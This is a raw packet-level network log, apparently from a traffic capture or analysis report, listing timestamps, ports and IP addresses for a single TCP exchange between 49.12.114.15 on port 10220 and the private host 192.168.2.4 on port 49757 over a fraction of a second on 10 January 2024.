Jan 10, 2024 15:49:21.667105913 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667108059 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667169094 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667200089 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667247057 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667320967 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667366028 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667401075 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667464972 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667474031 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667517900 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667577028 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667625904 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667644024 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667684078 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667717934 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667733908 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667752981 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667798996 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667825937 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667862892 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667912006 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.667936087 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.667973995 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668010950 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668023109 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668051958 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668067932 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668092966 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668126106 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668225050 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668279886 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668282032 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668294907 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668319941 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668386936 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668457985 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668494940 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668504953 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668564081 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668580055 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668602943 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668637037 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668695927 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668741941 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668780088 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668832064 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668848991 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668951035 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.668968916 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.668987989 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669028044 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669028044 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669059038 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669116974 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669162989 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669214010 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669235945 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669286013 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669327974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669373989 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669399977 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669446945 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669473886 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669521093 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669559956 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669609070 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669682980 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669728994 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669765949 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669807911 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669853926 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669879913 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669936895 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.669975042 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.669998884 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670008898 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670049906 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670113087 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670161963 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670186996 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670250893 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670258045 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670308113 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670346022 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670394897 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670419931 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670471907 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670520067 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670561075 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670562983 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670608997 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.670835018 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670916080 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.670969009 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671009064 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671082020 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671099901 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671123028 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671204090 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671241999 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671272039 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671283007 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671396971 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671447039 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671478987 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671519995 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671531916 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671557903 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671593904 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671631098 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671638012 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671672106 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671678066 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671777010 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671813965 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671819925 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671890974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671928883 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.671967030 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671967030 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.671998978 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672101021 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672171116 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672189951 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.672224998 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672272921 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.672350883 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672395945 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.672437906 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672487974 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.672509909 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672559023 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.672580004 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672619104 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672627926 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.672662973 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.672693014 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672732115 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672780991 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.672836065 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672873974 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.672924042 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673005104 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673049927 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673094988 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673166990 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673214912 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673268080 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673402071 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673405886 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673443079 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673470974 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673487902 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673513889 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673552990 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673567057 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673595905 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673660040 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673711061 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673732042 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673779011 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673835039 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673881054 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.673928022 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.673974991 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674000025 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674069881 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674120903 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674154043 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674309015 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674333096 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674375057 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674405098 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674448013 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674463987 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674505949 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674524069 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674561977 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674585104 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674624920 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674652100 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674689054 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674714088 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674751043 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674772978 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674829006 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674844980 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674891949 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.674918890 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.674968958 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675026894 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675071955 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675098896 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675175905 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675215960 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675323963 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675508976 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675554037 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675592899 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675652027 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675679922 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675728083 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675731897 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675775051 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675795078 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675837040 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675842047 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675883055 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.675924063 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.675952911 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676022053 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676060915 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676088095 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676122904 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676160097 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676225901 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676264048 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676300049 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676383972 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676413059 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676440001 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676456928 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676496029 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676582098 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676620960 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676626921 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676675081 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676683903 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676708937 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676716089 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676748037 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.676774979 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.676819086 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.850856066 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851090908 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851156950 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.851183891 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851269960 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851314068 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.851349115 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851388931 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.851458073 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851546049 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851586103 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.851635933 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851711035 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851748943 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.851769924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851810932 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.851881027 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851958036 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.851994991 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.852155924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852252007 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852288961 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.852339983 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852375984 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.852518082 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852567911 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852605104 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.852672100 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852706909 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.852755070 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852788925 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.852832079 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852865934 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.852924109 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.852962017 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.853009939 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853050947 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.853095055 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853127003 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.853190899 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853225946 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.853267908 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853365898 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853415966 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.853447914 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853539944 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853578091 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.853615999 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853647947 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.853698969 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853786945 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853821993 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.853873014 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853945017 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.853981972 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854027033 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854064941 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854096889 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854207993 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854243040 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854243994 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854288101 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854324102 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854357004 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854391098 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854393959 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854468107 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854502916 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854599953 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854681015 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854717016 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854765892 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854834080 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854871035 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854904890 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.854937077 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.854943991 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855041981 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855077982 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.855123997 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855221033 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855254889 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.855315924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855401039 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855437994 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.855499029 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855530977 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.855581045 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855750084 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855787039 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.855840921 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855937004 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.855973005 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.856040955 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856074095 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.856118917 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856211901 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:21.856249094 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.856297016 CET	10220	49757	49.12.114.15	192.168.2.4
